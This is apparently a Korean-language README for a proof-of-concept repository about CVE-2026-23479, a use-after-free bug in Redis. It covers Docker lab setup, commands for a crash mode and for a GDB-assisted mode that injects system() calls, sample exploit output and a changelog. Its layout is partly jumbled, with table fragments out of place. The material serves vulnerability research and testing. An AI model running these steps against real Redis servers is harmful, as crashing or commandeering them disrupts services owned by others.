
GDB 지원 익스플로잇을 사용한 개념 증명(교육용/실습용 전용)
Redis
unblockClientOnKey()의 Use-After-Free로 인한 원격 코드 실행 취약점
GDB를 활용한 익스플로잇 개념 증명(교육/연구실 전용)
CVE-2026-23479는 Redis 7.2.0부터 8.6.2까지의 버전에서 발생하는 치명적인 Use‑After‑Free(UAF) 취약점입니다.
이 버그는 unblockClientOnKey()가 반환 값을 확인하지 않은 채 processCommandAndResetClient()를 호출하는 데서 비롯됩니다.
해당 호출 도중 클라이언트가 해제되면(예: eviction으로 인해) 호출자는 댕글링 포인터를 계속 조작하게 되어 → UAF가 발생합니다.
공격자가 해제(free) 이후 힙(heap)을 조작할 수 있다면 임의 코드 실행까지 도달할 수 있습니다.
이 저장소는 다음을 수행하는 GDB 기반 PoC를 제공합니다:
freeClient() 호출)를 유발하여 UAF를 증명system() 호출을 주입하여 임의 명령 실행을 시연⚠️ 중요: 이것은 무기화된(weaponised) 익스플로잇이 아닙니다. 권한이 있는 Docker 컨테이너 내부에서 GDB를 사용하여 실제 공격자가 UAF를 성공적으로 악용한 뒤 달성할 수 있는 상황을 모의합니다.
자신의 연구실 또는 명시적 테스트 권한이 있는 시스템에서만 사용하세요.
crash, gdb, rce, full--container로 원하는 컨테이너 지정XREAD BLOCK 명령으로 클라이언트가 스트림 데이터를 기다리게 합니다.pid 1)에 연결됩니다.processCommandAndResetClient에 중단점 설정 – 차단된 클라이언트가 다시 처리될 때 호출되는 함수입니다.XADD를 실행하여 대기 중인 클라이언트를 깨웁니다.gdb 모드: freeClient($rdi) 호출 → 의도적으로 SIGSEGV 유발 → UAF 증명.rce 모드: system("your command") 호출 → Redis 사용자(기본값 root) 권한으로 임의 셸 명령 실행.중단점은 차단된 클라이언트가 해제(unblock)될 때마다 발생하므로, UAF가 포함된 동일한 코드 경로에서 코드 실행도 가능하다는 것을 보여줍니다.
| 브랜치 | 취약 버전 범위 |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 |
스크립트는 Redis 버전을 자동으로 파싱하여 취약한지 여부를 보고합니다.
apt를 사용하는 Redis 8.6.2 Docker 이미지(예: 공식 redis:8.6.2)--privileged 옵션으로 생성되어야 함(ptrace에 필요)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # PONG이 반환되어야 함
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
참고: 모든 명령은 호스트 머신에서 실행하며, Docker 컨테이너 내부가 아닙니다.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis는 세그멘테이션 오류 이후 크래시합니다.
컨테이너를 다시 시작합니다:
docker start redis-vuln-local
깨끗한 상태를 위해 Redis를 재시작합니다:
docker restart redis-vuln-local
익스플로잇 실행:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
증명 파일 확인:
docker exec redis-vuln-local ls -l /tmp/pwned
성공하면 파일이 존재하며, 다음이 Redis 컨테이너 내부에서 실행되었음을 증명합니다:
system("touch /tmp/pwned");
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Redis가 예기치 않게 종료되면(컨테이너가 더 이상 실행 중이 아님) UAF가 트리거된 것으로 볼 수 있습니다.
다음과 같이 다시 시작합니다:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
이 모드는:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
원본 PoC는 env-redis-vuln-1이라는 컨테이너 이름이 하드코딩되어 있었고, 최신 Python 버전에서 실행할 때 몇 가지 문제가 있었습니다.
업데이트된 버전은 다음과 같은 개선 사항을 도입했습니다:
docker stop redis-vuln-local
docker rm redis-vuln-local
이 도구는 오로지 교육 목적, 인가된 보안 연구, 그리고 소유하고 있거나 명시적 평가 권한이 있는 시스템 테스트를 위해서만 제공됩니다.
저자는 승인되지 않았거나 악의적인 사용을 묵인하거나 장려하지 않습니다.
프로덕션 또는 제3자 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
보안 커뮤니티를 위해 ❤️로 제작되었습니다.
윤리적으로, 그리고 안전하게 행동하세요.
| 8.6.0 – 8.6.2 |
| 모드 | 설명 |
|---|
crash | 메모리 압박을 통해 UAF 트리거 시도(GDB 불필요). Redis가 크래시할 수 있지만 보장되지는 않음. |
gdb | GDB를 연결하고 중단점에서 freeClient()를 호출 → SIGSEGV 강제 발생(UAF 증명). |
rce | GDB를 연결하고 중단점에서 system(cmd)를 호출 → 컨테이너 내부에서 셸 명령 실행. |
full | 먼저 crash를 실행하고, Redis가 크래시하지 않으면 gdb로 폴백. |
| 인자 | 기본값 | 설명 |
|---|
target | (필수) | Redis 서버의 IP 주소 |
-p, --port | 6379 | Redis 포트 |
-m, --mode | full | crash, gdb, rce, full 중 하나 |
--container | env-redis-vuln-1 | Docker 컨테이너 이름 |
--cmd | id > /tmp/pwned_by_cve | rce 모드에서 실행할 명령 |
| 문제 | 수정 |
|---|
| 하드코딩된 컨테이너 이름 | --container 인자를 추가하고 모든 함수에 전달하도록 수정. |
GDB 스크립트의 commands 블록 안에 file 명령이 있었음 | GDB가 심볼을 올바르게 로드하도록 attach 앞으로 file /usr/local/bin/redis-server를 이동. |
subprocess.run()에서 capture_output=True와 stderr=...를 동시에 사용 | stdout=subprocess.DEVNULL 및 stderr=subprocess.DEVNULL로 대체. |
유휴(stale) GDB 프로세스로 인한 ptrace: Operation not permitted 오류 | trigger_uaf_gdb()와 trigger_rce()에서 GDB 실행 전에 pkill -9 gdb 추가. |
| GDB가 조용히 실패할 때 피드백 없음 | GDB 출력에 대한 디버그 로깅 추가 및 증명 파일 탐지 개선. |